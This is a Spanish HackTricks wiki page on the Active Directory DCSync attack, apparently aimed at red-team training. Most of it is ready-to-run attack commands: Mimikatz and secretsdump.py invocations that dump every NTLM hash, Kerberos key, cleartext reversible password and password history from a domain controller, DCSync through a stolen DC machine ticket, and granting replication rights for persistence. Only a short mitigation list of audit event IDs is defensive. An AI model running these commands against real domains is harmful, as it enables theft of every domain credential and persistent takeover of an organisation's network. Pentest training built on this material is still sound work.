DCSync

Tip

Aprende y practica AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE) Revisa el catálogo completo de HackTricks Training para las rutas de evaluación (ARTA/GRTA/AzRTA) y Linux Hacking Expert (LHE).

Apoya a HackTricks

DCSync

El permiso DCSync implica tener estos permisos sobre el propio dominio: DS-Replication-Get-Changes, Replicating Directory Changes All y Replicating Directory Changes In Filtered Set.

Notas importantes sobre DCSync:

  • El ataque DCSync simula el comportamiento de un Domain Controller y pide a otros Domain Controllers que repliquen información usando el Directory Replication Service Remote Protocol (MS-DRSR). Como MS-DRSR es una función válida y necesaria de Active Directory, no se puede apagar ni deshabilitar.
  • Por defecto, solo los grupos Domain Admins, Enterprise Admins, Administrators y Domain Controllers tienen los privilegios requeridos.
  • En la práctica, un DCSync completo necesita DS-Replication-Get-Changes + DS-Replication-Get-Changes-All sobre el domain naming context. DS-Replication-Get-Changes-In-Filtered-Set suele delegarse junto con ellos, pero por sí solo es más relevante para sincronizar atributos confidenciales / filtrados por RODC (por ejemplo, secretos antiguos al estilo LAPS) que para un volcado completo de krbtgt.
  • Si alguna contraseña de cuenta se almacena con cifrado reversible, existe una opción en Mimikatz para devolver la contraseña en texto claro

Enumeration

Comprueba quién tiene estos permisos usando powerview:

Get-ObjectAcl -DistinguishedName "dc=dollarcorp,dc=moneycorp,dc=local" -ResolveGUIDs | ?{($_.ObjectType -match 'replication-get') -or ($_.ActiveDirectoryRights -match 'GenericAll') -or ($_.ActiveDirectoryRights -match 'WriteDacl')}

Si quieres centrarte en non-default principals con permisos DCSync, filtra los grupos integrados con capacidad de replicación y revisa solo los trustees inesperados:

$domainDN = "DC=dollarcorp,DC=moneycorp,DC=local"
$default = "Domain Controllers|Enterprise Domain Controllers|Domain Admins|Enterprise Admins|Administrators"
Get-ObjectAcl -DistinguishedName $domainDN -ResolveGUIDs |
Where-Object {
$_.ObjectType -match 'replication-get' -or
$_.ActiveDirectoryRights -match 'GenericAll|WriteDacl'
} |
Where-Object { $_.IdentityReference -notmatch $default } |
Select-Object IdentityReference,ObjectType,ActiveDirectoryRights

Exploit Localmente

Invoke-Mimikatz -Command '"lsadump::dcsync /user:dcorp\krbtgt"'

Exploit Remotely

secretsdump.py -just-dc <user>:<password>@<ipaddress> -outputfile dcsync_hashes
[-just-dc-user <USERNAME>] #To get only of that user
[-ldapfilter '(adminCount=1)'] #Or scope the dump to objects matching an LDAP filter
[-just-dc-ntlm] #Only NTLM material, faster/cleaner when you don't need Kerberos keys
[-pwd-last-set] #To see when each account's password was last changed
[-user-status] #Show if the account is enabled/disabled while dumping
[-history] #To dump password history, may be helpful for offline password cracking

Ejemplos prácticos acotados:

# Only the krbtgt account
secretsdump.py -just-dc-user krbtgt <DOMAIN>/<USER>:<PASSWORD>@<DC_IP>

# Only privileged objects selected through LDAP
secretsdump.py -just-dc-ntlm -ldapfilter '(adminCount=1)' <DOMAIN>/<USER>:<PASSWORD>@<DC_IP>

# Add metadata and password history for cracking/reuse analysis
secretsdump.py -just-dc-ntlm -history -pwd-last-set -user-status <DOMAIN>/<USER>:<PASSWORD>@<DC_IP>

DCSync using a captured DC machine TGT (ccache)

En escenarios de modo de exportación de unconstrained-delegation, puedes capturar un Domain Controller machine TGT (por ejemplo, DC1$@DOMAIN para krbtgt@DOMAIN). Luego puedes usar ese ccache para autenticarte como el DC y realizar DCSync sin una contraseña.

# Generate a krb5.conf for the realm (helper)
netexec smb <DC_FQDN> --generate-krb5-file krb5.conf
sudo tee /etc/krb5.conf < krb5.conf

# netexec helper using KRB5CCNAME
KRB5CCNAME=DC1$@DOMAIN.TLD_krbtgt@DOMAIN.TLD.ccache \
netexec smb <DC_FQDN> --use-kcache --ntds

# Or Impacket with Kerberos from ccache
KRB5CCNAME=DC1$@DOMAIN.TLD_krbtgt@DOMAIN.TLD.ccache \
secretsdump.py -just-dc -k -no-pass <DOMAIN>/ -dc-ip <DC_IP>

Notas operativas:

  • La ruta Kerberos de Impacket toca SMB primero antes de la llamada DRSUAPI. Si el entorno aplica SPN target name validation, un volcado completo puede fallar con Policy SPN target name validation might be restricting full DRSUAPI dump. Try -just-dc-user.
  • En ese caso, solicita primero un ticket de servicio cifs/<dc> para el DC objetivo o recurre a -just-dc-user para la cuenta que necesites de inmediato.
  • Cuando solo tienes derechos de replicación más bajos, la sincronización estilo LDAP/DirSync aún puede exponer atributos confidential o RODC-filtered (por ejemplo, el antiguo ms-Mcs-AdmPwd) sin una replicación completa de krbtgt.

-just-dc genera 3 archivos:

  • uno con los NTLM hashes
  • uno con las Kerberos keys
  • uno con las contraseñas en texto claro de NTDS para cualquier cuenta con reversible encryption habilitada. Puedes obtener los usuarios con reversible encryption con
Get-DomainUser -Identity * | ? {$_.useraccountcontrol -like '*ENCRYPTED_TEXT_PWD_ALLOWED*'} |select samaccountname,useraccountcontrol

Persistence

Si eres domain admin, puedes conceder estos permisos a cualquier usuario con la ayuda de powerview:

Add-ObjectAcl -TargetDistinguishedName "dc=dollarcorp,dc=moneycorp,dc=local" -PrincipalSamAccountName username -Rights DCSync -Verbose

Los operadores de Linux pueden hacer lo mismo con bloodyAD:

bloodyAD --host <DC_IP> -d <DOMAIN> -u <USER> -p '<PASSWORD>' add dcsync <TRUSTEE>

Entonces, puedes comprobar si al usuario se le asignaron correctamente los 3 privilegios buscándolos en la salida de (deberías poder ver los nombres de los privilegios dentro del campo “ObjectType”):

Get-ObjectAcl -DistinguishedName "dc=dollarcorp,dc=moneycorp,dc=local" -ResolveGUIDs | ?{$_.IdentityReference -match "student114"}

Mitigación

  • Security Event ID 4662 (Audit Policy for object must be enabled) – Se realizó una operación en un objeto
  • Security Event ID 5136 (Audit Policy for object must be enabled) – Se modificó un objeto de servicio de directorio
  • Security Event ID 4670 (Audit Policy for object must be enabled) – Se cambiaron los permisos en un objeto
  • AD ACL Scanner - Create and compare create reports of ACLs. https://github.com/canix1/ADACLScanner

References

Tip

Aprende y practica AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE) Revisa el catálogo completo de HackTricks Training para las rutas de evaluación (ARTA/GRTA/AzRTA) y Linux Hacking Expert (LHE).

Apoya a HackTricks